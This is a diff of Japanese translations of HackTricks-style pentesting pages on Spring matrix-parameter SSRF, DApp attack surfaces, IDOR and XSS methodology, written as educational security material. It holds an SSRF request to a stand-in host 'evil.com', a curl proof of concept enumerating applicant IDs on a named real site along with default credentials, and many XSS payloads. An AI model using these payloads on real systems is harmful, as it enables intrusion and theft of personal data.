- SpringフレームワークのHTTPパス名におけるマトリックスパラメータ(`;`)の処理は、サーバーサイドリクエストフォージェリ(SSRF)を悪用するために利用される可能性があります。
|
||||
- SpringフレームワークのHTTPパス名におけるマトリックスパラメータ(`;`)の処理は、サーバーサイドリクエストフォージェリ(SSRF)を悪用するために利用できます。
|
||||
- 例の悪用リクエスト:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
@ -62,8 +62,3 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# DApps - Decentralized Applications
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a DApp?
|
||||
|
||||
DAppは、中央集権的なサーバーではなく、ピアツーピアネットワーク上で動作する分散型アプリケーションです。DAppは通常、**ブロックチェーン技術**に基づいて構築されており、データの透明性、安全性、変更不可能性を可能にします。
|
||||
DAppは、中央集権的なサーバーではなく、ピアツーピアネットワーク上で動作する分散型アプリケーションです。DAppは通常、**ブロックチェーン技術**に基づいて構築されており、データの透明性、安全性、変更不可能性を提供します。
|
||||
|
||||
## Web3 DApp Architecture
|
||||
|
||||
@ -32,43 +32,43 @@ DAppは、中央集権的なサーバーではなく、ピアツーピアネッ
|
||||
|
||||
Web2の脆弱性は、これらのアプリケーションにも影響を与えますが、その影響は異なる場合があります。
|
||||
|
||||
- **クライアント側の脆弱性**は、Web3 DAppではクライアントが通常**ウォレットを通じてブロックチェーン上で操作を行う**ため、影響が増大します。これは、クライアント側でJSコードを実行したり、ページの内容を改ざんする攻撃(XSSなど)が、**ウォレットと相互作用し、ユーザーに望ましくない操作をブロックチェーン上で実行させる**可能性があるためです。
|
||||
- **クライアント側の脆弱性**は、Web3 DAppではクライアントが通常**ウォレットを通じてブロックチェーン上で操作を行う**ため、影響が増大します。これは、クライアント側でJSコードを実行したり、ページの内容を改ざんするような攻撃(XSSなど)が、**ウォレットと相互作用し**、ユーザーに望ましくない操作をブロックチェーン上で行わせる可能性があるためです。
|
||||
- 通常、これらのアプリケーションでもクライアントはウォレットで署名する前に操作を確認できます。しかし、攻撃者がページの内容を改ざんできる場合、ユーザーに望ましくない操作を行うトランザクションに署名させることができます。
|
||||
- **サーバー側の脆弱性**は、バックエンドサーバーに依存するDAppにも存在します。これらの脆弱性の影響はDAppのアーキテクチャによって異なります。しかし、攻撃者がバックエンドで**会社の鍵**を見つけてスマートコントラクトの資金にアクセスしたり、アカウントの乗っ取りを行い、ユーザーから資金やNFTを盗む可能性があるため、非常に問題になる可能性があります。
|
||||
- **サーバー側の脆弱性**は、バックエンドサーバーに依存するDAppにも存在します。これらの脆弱性の影響はDAppのアーキテクチャによって異なります。しかし、攻撃者がバックエンドで**会社の鍵**を見つけてスマートコントラクトの資金にアクセスしたり、アカウントの乗っ取りを行ってユーザーから資金やNFTを盗む可能性があるため、非常に問題になる可能性があります。
|
||||
|
||||
もちろん、DAppがバックエンドを使用していない場合や、バックエンドが公開チェーンデータや静的ページのみを提供している場合、DAppの攻撃面は減少します。
|
||||
|
||||
## Web3 attack surface
|
||||
|
||||
一般的にDAppは、ブロックチェーン上で常にいくつかのセキュリティチェックが行われるため、攻撃面が減少していますが、攻撃者によって悪用される可能性のある攻撃ベクトルは依然として存在します。
|
||||
一般的にDAppはブロックチェーン上で常にいくつかのセキュリティチェックが行われるため、攻撃面が減少しますが、攻撃者によって悪用される可能性のある攻撃ベクトルは依然として存在します。
|
||||
|
||||
Web3 DAppの脆弱性を以下のカテゴリに分類することができるかもしれません。
|
||||
|
||||
- **不適切に処理されたオンチェーントランザクション**: 不正にフォーマットされたまたは制限のないトランザクションAPI、応答待機およびブロック確認ロジックの欠如、機密データの露出、悪意のあるコールデータ注入を許可する失敗、取り消し、または内部型トランザクションの不適切な処理。
|
||||
- **不適切なオンチェーントランザクションの取り扱い**: 不正にフォーマットされたまたは制限のないトランザクションAPI、応答待機およびブロック確認ロジックの欠如、機密データの露出、悪意のあるコールデータの注入を許可する失敗、取り消し、または内部型トランザクションの不適切な取り扱い。
|
||||
|
||||
- **スマートコントラクト駆動のバックエンド攻撃**: 検証なしに契約とデータベース間で機密データを保存または同期すること、チェックされていないイベントの発生や契約アドレス、バックエンドロジックを汚染する可能性のある契約の脆弱性。
|
||||
|
||||
- **欠陥のある暗号資産操作**: 異なるトークンタイプ(ネイティブvs. ERC-20)の誤処理、小数点精度の無視、失敗した転送または内部トランザクション、検証なしに偽の、デフレ、リベース、またはスリッページに敏感なトークンを受け入れることにより、トークンメタデータを介してペイロード注入を可能にします。
|
||||
- **欠陥のある暗号資産操作**: 異なるトークンタイプ(ネイティブ vs. ERC-20)の誤処理、小数点精度の無視、失敗した転送または内部トランザクション、検証なしに偽の、デフレ、リベース、またはスリッページに弱いトークンを受け入れることにより、トークンメタデータを介したペイロードの注入を可能にします。
|
||||
|
||||
[**この投稿**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)からのいくつかの例:
|
||||
|
||||
### Wasting Funds: Forcing backend to perform transactions
|
||||
|
||||
シナリオ**`Wasted Crypto in Gas via Unrestricted API`**では、攻撃者はバックエンドにガスを消費するスマートコントラクトの関数を呼び出させることができます。攻撃者はETHアカウント番号を送信するだけで制限なしに、バックエンドにスマートコントラクトを登録させ、ガスを消費させます。
|
||||
シナリオ**`Wasted Crypto in Gas via Unrestricted API`**では、攻撃者がバックエンドにガスを消費するスマートコントラクトの関数を呼び出させることができます。攻撃者はETHアカウント番号を送信し、制限なしでバックエンドにスマートコントラクトを登録させ、ガスを消費させます。
|
||||
|
||||
### DoS: Poor transaction handling time
|
||||
|
||||
シナリオ**`Poor Transaction Time Handling Leads to DoS`**では、バックエンドがトランザクションが実行されるまでHTTPリクエストを開いたままにするため、ユーザーがバックエンドに対して複数のHTTPリクエストを簡単に送信でき、バックエンドのリソースをすべて消費し、DoSにつながることが説明されています。
|
||||
シナリオ**`Poor Transaction Time Handling Leads to DoS`**では、バックエンドがトランザクションが実行されるまでHTTPリクエストをオープンにしているため、ユーザーがバックエンドに対して複数のHTTPリクエストを簡単に送信でき、バックエンドのリソースをすべて消費し、DoSにつながることが説明されています。
|
||||
|
||||
### Backend<-->Blockchain desync - Race condition
|
||||
|
||||
シナリオ**`Poor Transaction Time Handling Leads to Race Condition`**では、ゲーム内でユーザーがバックエンドに引き出しリクエストを送信し、トランザクションが処理されている間にそのコインを使用してゲーム内のアイテムを購入できることが説明されています。これにより、無料でアイテムを取得できます。
|
||||
シナリオ**`Poor Transaction Time Handling Leads to Race Condition`**では、ゲーム内でユーザーがバックエンドに引き出しリクエストを送信し、ユーザーにコインを送信する間に、トランザクションがまだ処理中であるにもかかわらず、ユーザーがそのコインを使用してゲーム内のアイテムを購入できることが説明されています。これにより、アイテムを無料で取得できます。
|
||||
|
||||
別の例として、バックエンドがトランザクションの確認を待たずにユーザーにアイテムを即座に渡すため、同じコインを使用して異なるアイテムを購入できる可能性があります。
|
||||
|
||||
### Smart contract address validation
|
||||
|
||||
シナリオ**`Bridge Backend Lacks Smart Contract Address Validation`**では、バックエンドがスマートコントラクトのアドレスをチェックしていたため、攻撃者が偽のスマートコントラクトをデプロイし、資金をその上に置き、トランザクションをバックエンドに送信すると、バックエンドはユーザーが本物のスマートコントラクトに資金を送信したと考え、ユーザーにトークンを与えることができることが説明されています。
|
||||
シナリオ**`Bridge Backend Lacks Smart Contract Address Validation`**では、バックエンドがスマートコントラクトのアドレスを確認していたため、攻撃者が偽のスマートコントラクトをデプロイし、資金を投入し、トランザクションをバックエンドに送信すると、バックエンドはユーザーが実際のスマートコントラクトに資金を送信したと考え、ユーザーにトークンを与えることができることが説明されています。
|
||||
|
||||
### Mishandling of Asset Classes
|
||||
|
||||
@ -77,4 +77,4 @@ Web3 DAppの脆弱性を以下のカテゴリに分類することができる
|
||||
## References
|
||||
- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
## 参考文献
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
```
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、**直接的に**内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。**呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに**。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、**直接**内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。**呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに**。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。
|
||||
|
||||
---
|
||||
## 1. 潜在的なIDORの特定
|
||||
@ -38,13 +38,13 @@ done
|
||||
---
|
||||
## 2. 実世界のケーススタディ – McHire チャットボットプラットフォーム (2025)
|
||||
|
||||
Paradox.aiを利用した**McHire**採用ポータルの評価中に、以下のIDORが発見されました:
|
||||
Paradox.ai によって動かされる **McHire** 採用ポータルの評価中に、次の IDOR が発見されました:
|
||||
|
||||
* エンドポイント: `PUT /api/lead/cem-xhr`
|
||||
* 認証: **任意の**レストランテストアカウントのユーザーセッションクッキー
|
||||
* ボディパラメータ: `{"lead_id": N}` – 8桁の**連続した**数値識別子
|
||||
* 認証: **任意の** レストランテストアカウントのユーザーセッションクッキー
|
||||
* ボディパラメータ: `{"lead_id": N}` – 8 桁の **連続した** 数字識別子
|
||||
|
||||
`lead_id`を減少させることで、テスターは任意の応募者の**完全なPII**(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者**JWT**を取得しました。範囲`1 – 64,185,742`の列挙により、約**6400万**件のレコードが露出しました。
|
||||
`lead_id` を減少させることで、テスターは任意の応募者の **完全な PII**(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者 **JWT** を取得しました。範囲 `1 – 64,185,742` の列挙により、約 **6400 万** 件のレコードが露出しました。
|
||||
|
||||
概念実証リクエスト:
|
||||
```bash
|
||||
@ -52,34 +52,32 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
**デフォルトの管理者資格情報** (`123456:123456`) と組み合わせることで、テストアカウントへのアクセスが許可され、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。
|
||||
Combined with **デフォルトの管理者資格情報** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
|
||||
---
|
||||
## 3. IDOR / BOLAの影響
|
||||
* 水平的エスカレーション – **他のユーザーの**データを読み取り/更新/削除。
|
||||
* 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得。
|
||||
* 垂直的エスカレーション – 権限の低いユーザーが管理者専用機能を取得。
|
||||
* 識別子が連続している場合(例:応募者ID、請求書)に大規模なデータ漏洩。
|
||||
* トークンを盗むか、他のユーザーのパスワードをリセットすることでアカウントを乗っ取る。
|
||||
* トークンを盗むか、他のユーザーのパスワードをリセットすることによるアカウント乗っ取り。
|
||||
|
||||
---
|
||||
## 4. 緩和策とベストプラクティス
|
||||
1. **オブジェクトレベルの認可**をすべてのリクエストに強制する (`user_id == session.user`)。
|
||||
2. 自動インクリメントIDの代わりに**間接的で推測不可能な識別子**(UUIDv4、ULID)を好む。
|
||||
3. 認可を**サーバーサイド**で実行し、隠しフォームフィールドやUIコントロールに依存しない。
|
||||
3. 認可を**サーバー側で**実行し、隠しフォームフィールドやUIコントロールに依存しない。
|
||||
4. 中央ミドルウェアで**RBAC / ABAC**チェックを実装する。
|
||||
5. IDの列挙を検出するために**レート制限とログ記録**を追加する。
|
||||
6. 新しいエンドポイントごとにセキュリティテストを実施する(ユニット、統合、DAST)。
|
||||
|
||||
---
|
||||
## 5. ツール
|
||||
* **BurpSuite拡張機能**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **BurpSuite拡張機能**: Authorize, Auto Repeater, Turbo Intruder。
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse。
|
||||
* **Githubプロジェクト**: `bwapp-idor-scanner`, `Blindy`(バルクIDORハンティング)。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 参考文献
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,35 +1,35 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Methodology
|
||||
## 方法論
|
||||
|
||||
1. **あなたが制御する任意の値** (_parameters_, _path_, _headers_?, _cookies_?) がHTMLに**反映されている**か、**JS**コードによって**使用されている**かを確認します。
|
||||
2. **反映されている/使用されているコンテキストを見つけます**。
|
||||
1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。
|
||||
2. **反映されている/使用されているコンテキスト**を見つけます。
|
||||
3. **反映されている場合**
|
||||
1. **使用できる記号を確認し**、それに応じてペイロードを準備します:
|
||||
1. **生のHTML**の場合:
|
||||
1. **使用できる記号**を確認し、それに応じてペイロードを準備します:
|
||||
1. **生のHTML**内で:
|
||||
1. 新しいHTMLタグを作成できますか?
|
||||
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
|
||||
3. 保護を回避できますか?
|
||||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_, _VueJS_, _Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
||||
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません。
|
||||
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を悪用できるかもしれません。
|
||||
2. **HTMLタグ内**の場合:
|
||||
2. **HTMLタグ内**で:
|
||||
1. 生のHTMLコンテキストに抜け出せますか?
|
||||
2. JSコードを実行するための新しいイベント/属性を作成できますか?
|
||||
3. あなたが閉じ込められている属性はJS実行をサポートしていますか?
|
||||
4. 保護を回避できますか?
|
||||
3. **JavaScriptコード内**の場合:
|
||||
3. **JavaScriptコード内**で:
|
||||
1. `<script>`タグをエスケープできますか?
|
||||
2. 文字列をエスケープして異なるJSコードを実行できますか?
|
||||
3. テンプレートリテラル \`\` に入力がありますか?
|
||||
4. 保護を回避できますか?
|
||||
4. 実行されているJavascript **関数**:
|
||||
4. 実行されているJavascript **関数**
|
||||
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
|
||||
4. **使用されている場合**:
|
||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。
|
||||
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください。**
|
||||
|
||||
複雑なXSSに取り組む際には、以下のことを知っておくと興味深いかもしれません:
|
||||
複雑なXSSに取り組む際に知っておくと興味深いこと:
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
@ -49,7 +49,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||
|
||||
### 生のHTML
|
||||
|
||||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img , <iframe , <svg , <script` ... これらは使用できる多くのHTMLタグの一部です。\
|
||||
あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:`<img`、`<iframe`、`<svg`、`<script` ... これらは使用できる多くのHTMLタグの一部です。\
|
||||
また、[クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)を念頭に置いてください。
|
||||
|
||||
### HTMLタグ属性内
|
||||
@ -57,9 +57,9 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
|
||||
|
||||
1. **属性とタグから抜け出す**(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:`"><img [...]`
|
||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じて**JSコードを実行するイベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベント**を**作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
|
||||
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
クラス名を制御している場合のAngularがXSSを実行する奇妙な例:
|
||||
```html
|
||||
@ -71,8 +71,8 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
|
||||
|
||||
この場合、あなたの入力はHTMLページの**`<script> [...] </script>`**タグ、`.js`ファイル内、または**`javascript:`**プロトコルを使用した属性内に反映されます:
|
||||
|
||||
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから脱出することを試みることができます。これは、**ブラウザが最初にHTMLタグを解析し**、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコード内にあることに気付かないからです。
|
||||
- **JS文字列内**に反映されていて、最後のトリックが機能しない場合は、文字列を**終了**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||
- **`<script> [...] </script>`**タグの間に反映されている場合、たとえあなたの入力があらゆる種類の引用符の中にあっても、`</script>`を注入してこのコンテキストから**脱出**しようとすることができます。これは、**ブラウザが最初にHTMLタグを解析**し、その後にコンテンツを解析するため、あなたが注入した`</script>`タグがHTMLコード内にあることに気づかないからです。
|
||||
- **JS文字列内**に反映されていて、最後のトリックが機能しない場合は、文字列から**退出**し、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
@ -100,7 +100,7 @@ js-hoisting.md
|
||||
|
||||
.png>)
|
||||
|
||||
もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります**: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**コンテンツを検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**(**`[\w\._]`**)。
|
||||
脆弱性がある場合、**値を送信するだけでアラートをトリガーできる**かもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**内容を検証して、文字、数字、ドット、アンダースコアのみを許可する**ことが非常に一般的です(**`[\w\._]`**)。
|
||||
|
||||
しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**:
|
||||
|
||||
@ -134,7 +134,7 @@ dom-xss.md
|
||||
|
||||
### **ユニバーサルXSS**
|
||||
|
||||
この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
|
||||
この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントのエクスプロイトだけでなく、**あらゆる** **コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\
|
||||
いくつかの**例**:
|
||||
|
||||
{{#ref}}
|
||||
@ -151,8 +151,8 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## 生のHTML内に注入
|
||||
|
||||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映されている**かを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||||
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を考慮してください。**\
|
||||
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
|
||||
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
|
||||
_**注: HTMLコメントは、\*\***\***\*`-->`\*\***\***\*または\*\***`--!>`\*\**を使用して閉じることができます。_
|
||||
|
||||
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
|
||||
@ -237,15 +237,15 @@ onerror=alert`1`
|
||||
```
|
||||
最後のものは、5つに展開される2つのUnicode文字を使用しています: telsr\
|
||||
これらの文字の詳細は[こちら](https://www.unicode.org/charts/normalization/)で見つけることができます。\
|
||||
分解された文字を確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
|
||||
どの文字が分解されているかを確認するには[こちら](https://www.compart.com/en/unicode/U+2121)をチェックしてください。
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
脆弱性を悪用するために**ユーザーがリンクやフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
||||
脆弱性を悪用するために**ユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある**場合、[**Clickjackingを悪用する**](../clickjacking.md#xss-clickjacking)ことを試みることができます(ページが脆弱な場合)。
|
||||
|
||||
### 不可能 - ダングリングマークアップ
|
||||
|
||||
**JSコードを実行する属性を持つHTMLタグを作成することは不可能だ**と思うなら、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを**実行せずに**脆弱性を**悪用**できるからです。
|
||||
**JSコードを実行する属性を持つHTMLタグを作成することが不可能だと思う**場合、[**ダングリングマークアップ**](../dangling-markup-html-scriptless-injection/index.html)を確認してください。なぜなら、**JS**コードを**実行せずに**脆弱性を**悪用**できるからです。
|
||||
|
||||
## HTMLタグ内へのインジェクション
|
||||
|
||||
@ -269,12 +269,12 @@ onerror=alert`1`
|
||||
```
|
||||
### 属性内で
|
||||
|
||||
たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
|
||||
もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
|
||||
たとえ**属性から逃げることができなくても**(`"`がエンコードされているか削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
|
||||
もう一つの興味深い**例**は属性`href`で、ここでは`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
|
||||
|
||||
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
|
||||
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る</a>`
|
||||
HTMLタグ属性の値内の**HTMLエンコードされた文字**は**実行時にデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">戻る </a>`
|
||||
|
||||
**あらゆる種類のHTMLエンコードが有効であることに注意してください**:
|
||||
```javascript
|
||||
@ -349,11 +349,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**他の難読化トリック**
|
||||
|
||||
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
|
||||
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。属性内にいるためです。**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
さらに、これらのケースには別の**良いトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈されます。**
|
||||
さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -363,7 +363,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||
|
||||
**`javascript:`でのHexおよびOctalエンコードの使用**
|
||||
|
||||
少なくとも`iframe`の`src`属性内で**Hex**および**Octalエンコード**を使用して、**JSを実行するHTMLタグを宣言**できます:
|
||||
**Hex**および**Octalエンコード**を`iframe`の`src`属性内で(少なくとも)使用して、**JSを実行するHTMLタグを宣言**できます:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -379,7 +379,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
任意の**`<a href=`**タグに**`target="_blank"`**および**`rel="opener"`**属性を含むURLを挿入できる場合は、この動作を悪用するために**以下のページを確認してください**:
|
||||
任意の**`<a href=`**タグに**`target="_blank"`**および**`rel="opener"`**属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**:
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -387,8 +387,8 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
|
||||
|
||||
### イベントハンドラーバイパスについて
|
||||
|
||||
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
|
||||
このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
|
||||
まず、このページ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))を確認して、役立つ**"on"イベントハンドラー**を探してください。\
|
||||
